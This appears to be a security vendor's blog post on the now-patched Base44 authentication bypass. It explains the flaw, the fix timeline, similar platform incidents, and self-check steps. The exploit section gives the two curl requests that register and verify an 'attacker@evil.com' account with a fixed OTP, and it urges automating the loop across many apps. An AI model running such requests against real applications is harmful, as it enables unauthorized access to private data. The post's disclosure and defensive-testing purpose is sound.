One flaw. Thousands of apps. All bypassed the same way.
Wix paid $80 million for Base44 in June 2025. Base44 was one of the hottest vibe coding platforms — you describe what you want, it generates a full-stack app with database, auth, API, everything. Enterprise customers. Real traction. Real data.
Five weeks later, Wiz Research found something: any private application built on Base44 could be completely compromised with two HTTP POST requests. Not a sophisticated exploit. Not a zero-day. Two API calls, no authentication required, using nothing but the app_id sitting visibly in every app's public URL.
Every control an enterprise customer built — Single Sign-On, invitation-only access, role-based permissions, Okta integration, Azure AD — completely bypassed. Thousands of apps. Same two endpoints. Same attack pattern. Everyone exploitable the same way.
This is what happened, how 15 seconds of API calls broke every auth system on the platform, and why builders who ship on managed platforms need to verify what "secure" actually means.
Two API calls. No auth required. No detection.
The exploit had zero sophistication. Two endpoints exposed, zero checks, zero logging.
Step 1: Get the app_id (30 seconds)
Every Base44 app had a public identifier — the app_id. Read it straight from the URL:
https://app.base44.com/a/abc123
Also in the public manifest.json. No guessing. No brute force. Just there.
Step 2: Register an attacker account (5 seconds)
The first POST request. Create an account — even if the app owner disabled public registration entirely:
curl -X POST https://app.base44.com/api/apps/abc123/auth/register \
-H "Content-Type: application/json" \
-d '{"email": "attacker@evil.com", "password": "password123"}'
Response: 200 OK. Account created. Does not care about:
- SSO requirement? Ignored.
- Registration disabled toggle? Ignored.
- Any platform setting? The endpoint never checked.
Step 3: Verify email (5 seconds)
The second POST request. The endpoint validates nothing:
curl -X POST https://app.base44.com/api/apps/abc123/auth/verify-otp \
-H "Content-Type: application/json" \
-d '{"email": "attacker@evil.com", "otp": "123456"}'
Response: 200 OK. Email verified. Account fully active.
Total time: 40 seconds. No tools. No credentials. No trace in the logs.
Now you're a verified user on a private enterprise application. You have access to everything inside it. The app's authentication system treats you as legitimate. The company that built it has no way to know you're there.
Automate this loop: read URLs, register, verify, move to next target. Scale across thousands of private applications. All vulnerable the same way. All exploitable in under a minute.
Why SSO was completely useless
This is the part that breaks enterprise assumptions.
Many Base44 customers had configured Single Sign-On — Okta, Azure AD, Google Workspace. From their perspective, access was fully locked down. Only employees with valid corporate credentials could reach the app. They documented it for audits. They represented it to customers and regulators.
The undocumented registration endpoint didn't care about SSO configuration. It operated at a different layer entirely — below the SSO integration, directly on Base44's auth system. SSO was a front door. The registration endpoint was an unlocked side door that nobody knew existed.
Enterprises that believed they were protected? They weren't. The security posture they documented had a gap they couldn't see.
What made this systemic
1. Zero skill required. Not "low complexity." Zero. Any builder who can paste a curl command can exploit this. No special tools. No deep knowledge. This was "copy and paste from the blog."
2. The attack key was public. The app_id wasn't a secret. It was in the URL. Every time a builder shared a link to their app on Reddit, Twitter, or in a Slack, they were sharing the exact piece of information needed to compromise it.
3. Every app on the platform inherited the same flaw. This wasn't a bug in one developer's code. It was a platform-level design flaw. Every Base44 app — thousands of them — had the same two vulnerable endpoints. Same endpoint path. Same lack of checks. Same attack vector, working identically everywhere.
4. Zero detection. Organizations had no way to know this was happening. No alerts. No audit logs showing unauthorized registrations. An attacker could register, access all the data, and disappear without the company ever knowing someone was there.
The types of apps that were exposed
Base44 applications weren't toy projects. Enterprise customers were building real tools on the platform:
- Internal company chatbots with access to corporate knowledge bases and sensitive documents
- Business tools processing customer data, financial information, and operational metrics
- Customer-facing applications handling personally identifiable information
- Administrative portals with elevated privileges and access to backend systems
Each of these applications was accessible to anyone who knew the URL and could make two API calls.
The scope here is important. This wasn't one developer who forgot to lock down their project. This was every developer on the platform, because the vulnerability existed in shared infrastructure that none of them controlled. The person who carefully configured SSO and disabled public registration was just as exposed as the person who hadn't thought about security at all.
The response: fast, but the damage was structural
Credit where it's due — the response was fast.
| Date | Event |
|---|---|
| July 9, 2025 | Wiz Research discovers and reports the vulnerability |
| July 10, 2025 | Wix/Base44 deploys a fix |
| July 10, 2025 | Wiz verifies external users can no longer register to private apps |
| July 13, 2025 | Wix officially confirms the issue is resolved |
Discovery to fix: less than 24 hours. Wix confirmed no evidence of prior exploitation. The patch was server-side, meaning app owners didn't need to do anything.
That's a strong incident response. But the speed of the fix doesn't change what the vulnerability revealed: every application on the platform had been exposed since those endpoints were created. Every enterprise customer's security model had a hole in it that nobody knew about. Every SSO configuration was providing less protection than advertised.
The fix closed the door. But the door had been open for an unknown period. And during that window, any attacker who knew about these endpoints — or stumbled across them through routine API enumeration — could have accessed any private application on the platform without leaving a trace.
The real story: platform risk
Here's what matters if you build with Lovable, Bolt, Cursor, v0, or any AI tool.
When you build on a platform — any platform — you inherit its security posture. Not the marketing version. Not the one you assume it has. The actual one, including every undocumented endpoint that wasn't supposed to be public, every permission that's misconfigured, every assumption the engineers made that turned out to be wrong.
Base44's engineers probably thought: "the app_id is random enough," "the registration endpoint is internal only," "SSO handles everything." None of those assumptions held up under scrutiny. And when an assumption fails on a platform, it fails for every app built on that platform simultaneously.
This creates a fundamentally different risk model than building your own stack:
Traditional app:
Your code → Your vulnerability → Your app affected
Platform app:
Platform code → Platform vulnerability → EVERY app affected
With a traditional application, a security flaw in your code affects your users. With a platform, a single flaw in shared infrastructure can affect thousands of applications simultaneously. The blast radius is orders of magnitude larger.
And here's the thing that makes this especially relevant right now: vibe coding platforms are growing faster than their security practices can keep up. The value proposition — describe what you want, get a working app — is genuinely powerful. Builders are shipping real products on these platforms. Enterprises are deploying internal tools. The gap between what these platforms can build and what they can secure is where the risk lives.
This pattern keeps repeating
Base44 is not an outlier. It's a template.
- Lovable (April 2025): AI generated 170+ apps with Row Level Security disabled. Anon keys in the page source. 303 vulnerable endpoints. Read the story.
- Moltbook (January 2026): Database with zero RLS on every table. 1.5 million records exposed. Attackers enumerated endpoints methodically.
- Firebase (2024-2025): 900+ public applications left in test-mode security rules. 125 million records exposed across government, healthcare, and financial services.
Different platforms. Different vulnerabilities. Same story: the platform made an assumption about security, that assumption was wrong, and every single app using the platform inherited the same flaw.
This isn't carelessness. It's structural. Vibe coding platforms ship applications fast — faster than they can test them comprehensively. The security gap is real.
Check your own app in 90 seconds
Before we talk about what to do, check whether your app has the same pattern. If you deployed something with Lovable, Bolt, Cursor, or v0:
Open your browser DevTools and paste this into the console:
// Find your app's API endpoints
const requests = performance.getEntries()
.filter(r => r.name.includes('/api'))
.map(r => r.name);
console.log("Your app's API endpoints:", [...new Set(requests)]);
Look for endpoints that feel "internal" — registration, password reset, verification. Try calling them without being logged in.
If you can hit POST /api/auth/register or POST /api/verify-email while logged out, that's the Base44 pattern. The platform shipped it. Your app inherited it. You need to know.
Try something like:
curl "https://your-app.com/api/auth/register" \
-H "Content-Type: application/json" \
-d '{"email": "test@test.com", "password": "test"}'
If you get a 200 or 201, you have a vulnerability. Keep reading.
What you need to check right now
If you deployed an app on Lovable, Bolt, Cursor, or any vibe coding platform, do these three things in the next hour:
1. Check for undocumented endpoints. Open DevTools → Network tab → reload your app → look for API calls you didn't write. Try hitting those endpoints without being logged in. If they return data or let you register a new account, you have the Base44 pattern.
# Does this work while you're logged out?
curl "https://your-app.com/api/auth/register" \
-H "Content-Type: application/json" \
-d '{"email": "test@test.com", "password": "test"}'
If you get a 200 or 201, you have a vulnerability.
2. Don't treat platform defaults as "secure." SSO doesn't protect you if there's another way in. Role-based access doesn't help if the API doesn't check roles. "Secure by default" is marketing. Check it yourself. Try accessing resources you shouldn't be able to access. Try changing IDs in the URL. See if the platform actually enforces what it claims to enforce.
3. Log and monitor access. Even on a managed platform, add your own monitoring. Unexpected user registrations, bulk data reads, IPs accessing endpoints that don't usually get accessed — these are signals. If you catch them early, you limit the damage. If you never look, you never know.
And if you find something that works when it shouldn't, report it to the platform immediately. The Base44 fix happened in 24 hours because Wiz reported responsibly and Wix responded fast. The vulnerability existed because nobody was testing these flows.
This isn't unique to Base44
Platform-level auth bypasses keep happening because the same assumption keeps failing: "our shared infrastructure is secure, so every app built on it is secure."
| Platform | Year | Pattern | Scope |
|---|---|---|---|
| Base44 | 2025 | Undocumented registration endpoints bypassing SSO | Thousands of apps |
| Lovable | 2025 | RLS disabled on every generated database | 170+ apps, 303 vulnerable endpoints |
| Firebase | 2024-2025 | Test-mode security rules in production apps | 900+ apps, 125M records |
Different platforms. Different vulnerability types. Same story: the platform made an assumption about security, that assumption was wrong, and every single app using the platform inherited the same flaw.
The Base44 fix was fast (24 hours). But the vulnerability existed for an unknown period. During that window, any attacker who knew about these endpoints — or who stumbled on them through routine API enumeration — could have accessed thousands of private applications without leaving a trace.
Verify your app before you're verified by someone else
You shipped something. You picked a platform. That platform is now part of your security.
Platform choice is a security choice. You inherit what the platform gets right and everything it gets wrong. When the platform has a blind spot, every app on it has the same blind spot.
Flowpatrol scans for exactly these patterns: undocumented endpoints, authentication bypasses, broken access controls, exposed secrets. Paste your URL. Get a report in five minutes. You'll know whether your app has the Base44 pattern or something like it.
You don't need to wait for Wiz or another researcher to find it. Check yourself first — while you still have the power to fix it.
The Base44 authentication bypass is documented in public reporting by Wiz, The Hacker News, SecurityWeek, and Dark Reading.